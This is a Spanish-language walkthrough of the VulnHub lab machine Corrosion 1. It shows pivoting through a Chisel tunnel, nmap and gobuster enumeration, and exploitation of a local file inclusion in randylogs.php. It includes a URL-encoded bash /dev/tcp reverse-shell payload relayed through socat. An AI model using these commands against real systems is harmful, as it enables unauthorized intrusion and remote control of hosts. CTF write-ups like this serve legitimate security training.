Corrosion 1

Sobre esta maquina: VulnHub

Sistema Operativo: Linux

Skills Usados:

  • Local File Inclusion (LFI)

  • LFI + RCE via SSH Log Poisoning (auth.log)

  • EXTRA: Reverse shell playing with socat to make the shell travel from an intermediary computer to us

  • Cracking ZIP file

  • EXTRA: SSH over Proxychains

  • Abusing sudoers privilege + Creating and compiling malicious C file [Privilege Escalation]

Metodologia:

Esta maquina es una continuidad de Corrosion2. En este punto ya Corrosion 2 se encuentra comprometida y somos administradores la misión será pivotear hacia esta nueva maquina victima.

Empezamos viendo las redes internas:

// 
bash-5.0# ip a

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:6c:73:2d brd ff:ff:ff:ff:ff:ff
altname enp2s1
inet 192.168.1.142/24 brd 192.168.1.255 scope global dynamic noprefixroute ens33
valid_lft 26994sec preferred_lft 26994sec
inet6 fe80::55c8:b2f9:c2b6:e356/64 scope link noprefixroute
valid_lft forever preferred_lft forever
3: ens34: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:6c:73:37 brd ff:ff:ff:ff:ff:ff
altname enp2s2
inet 10.10.0.130/24 brd 10.10.0.255 scope global dynamic noprefixroute ens34
valid_lft 1791sec preferred_lft 1791sec
inet6 fe80::58ac:26d7:9513:1fb9/64 scope link noprefixroute
valid_lft forever preferred_lft forever

Vemos que hay una interfaz interna 10.10.0.130/24, así que creamos un script para poder conseguir el host victima:

// 
bash-5.0# nano hostdescovery.sh
#!/bin/bash
for i in $(seq 1 254); do
timeout 1 bash -c "ping -c 1 10.10.0.$i" &> /dev/null && echo "[+] El HOST 10.10.0.$i esta activo" &
done; wait

Damos permisos de ejecucion y lo ejecutamos:

// 
bash-5.0# chmod +x hostdescovery.sh

bash-5.0# ./hostdescovery.sh

[+] El HOST 10.10.0.1 esta activo
[+] El HOST 10.10.0.130 esta activo
[+] El HOST 10.10.0.129 esta activo

bash-5.0# hostname -I
192.168.1.142 10.10.0.130

Ya que dentro de la red interna somos la 10.10.0.130 y el script descubrió la 10.10.0.129 ya sabemos cual es el host de la victima.

Con el objetivo claro intentaremos hacer un port forwarding con Chisel:

Nos descargamos chisel, lo desconprimimos y le damos permisos de ejecucion:

Descargamos Chisel.
// 
chisel_1.10.1_linux_amd64.gz

❯ mv chisel_1.10.1_linux_amd64.gz chisel.gz

❯ gunzip chisel.gz

❯ chmod +x chisel

Ya con chisel funcional, creamos un servidor en python para transferirlo a la primera maquina vulnerada.

Enviamos Chisel A Corrosion 2.

Una vez transferido y con permisos de ejecucion ahora ejecutamos chisel en nuestra maquina y en corrosion 2 para crear un tunel.

Tunel Creado en Socks5 y podemos ejecutar ProxyChains.

El tunel esta creado y hemos trasladado todos los puertos a nuestra maquina, eso quiere decir que ahora si podremos enumera y vulnerar corrosion1 usando Proxychains.

Realizamos un escaneo con nmap:

// 
❯ proxychains nmap -sT --top-ports 1000 -n --open -Pn -T5 10.10.0.129 2>/dev/null

ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-06 20:55 EDT
Nmap scan report for 10.10.0.129
Host is up (0.0059s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Configuramos FoxyProxy Para poder ver por socks5 Todo lo que nos permite el Tunel.

Miramos que corre por el puerto 80, pero pirmero configuramos foxyproxy con socks5 para poder verlo con normalidad , es un servidor apache 2:

Hacemos reconocimiento de directorios con gobuster:

// 
❯ proxychains gobuster dir -u http://10.10.0.129/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --proxy socks5://127.0.0.1:1080
ProxyChains-3.1 (http://proxychains.sf.net)
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.0.129/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] Proxy: socks5://127.0.0.1:1080
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
Starting gobuster in directory enumeration mode
/tasks (Status: 301) [Size: 310] [--> http://10.10.0.129/tasks/]
/blog-post (Status: 301) [Size: 314] [--> http://10.10.0.129/blog-post/]

Veamos que contienen los subdominios encontrados: (capturas)

Subdominio Tasks.
Contenido del ToDo.
Contenido de Blog-Post.

Realizamos otra busqueda con Gobuster en blog-post:

// 
❯ proxychains gobuster dir -u http://10.10.0.129/blog-post -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --proxy socks5://127.0.0.1:1080
ProxyChains-3.1 (http://proxychains.sf.net)
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.0.129/blog-post
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] Proxy: socks5://127.0.0.1:1080
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
Starting gobuster in directory enumeration mode
/uploads (Status: 301) [Size: 322] [--> http://10.10.0.129/blog-post/uploads/]
/archives (Status: 301) [Size: 323] [--> http://10.10.0.129/blog-post/archives/]

En el subdominio /archives conseguimos un archivo log en php muy interesante:

Intentaremos buscar algún otro subdominio que nos permita conseguir archivos importantes dentro del sistema:

// 
❯ gobuster fuzz -u "http://10.10.0.129/blog-post/archives/randylogs.php?FUZZ=/etc/passwd" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --proxy socks5://127.0.0.1:1080 | grep -v "Length=0"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.0.129/blog-post/archives/randylogs.php?FUZZ=/etc/passwd
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Proxy: socks5://127.0.0.1:1080
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
Starting gobuster in fuzzing mode
Found: [Status=200] [Length=2832] [Word=file] http://10.10.0.129/blog-post/archives/randylogs.php?file=/etc/passwd

Conseguimos file, haciendo fuzz con gobuster hechemosle un vistazo:

randy1000:1000:randy,,,:/home/randy:/bin/bash

Vemos que entre los usuarios figura Randy, ya tenemos su password de la primera maquina, pero no la tenemos para esta segunda maquina.

Listaremos el directorio var/log para verificar si tenemos permiso de visualizacion:

// 
http://10.10.0.129/blog-post/archives/randylogs.php?file=/var/log/auth.log
tenemos exito

Ahora intentaremos solicitar una terminal pero en nuestro sistema, eso si recordemos, esta red es cerrada y solo tiene comunicación con corrosion 2, asi que la reverse shell sera para corrosion 2 y una vez se establezca la conexion a traves de socat la enviaremos a nuestra maquina. para poder lograrlo haremos lo siguiente:

Ingresamos como root a randy (en la primera maquina) y descargamos SOCAT, para redirigir la reverse shell hacia nuestra maquina.

Enviamos socat a la sesion root de randy:

Socat.
Enviando Socat a la nueva terminal.

ahora que ya tenemos socat, lo utilizaremos para redirigir la terminal:

// 
./socat TCP-LISTEN:4646,fork TCP:192.168.1.136:443

Ya con el comando listo, nos ponemos en escucha, en nuestro sistema por el puerto 443 y enviamos la reverse shell a la maquina de randy, para que se nos redirija:

// 
http://10.10.0.129/blog-post/archives/randylogs.php?file=/var/log&cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.0.130%2F443%200%3E%261%2
Enviamos reverse Shell.

Y listo ya tenemos acceso a la terminal y oficialmente estamos dentro de Corrosion 1, pivoteando con exito desde Corrosion 2, dando por finalizada esta maquina.

Last updated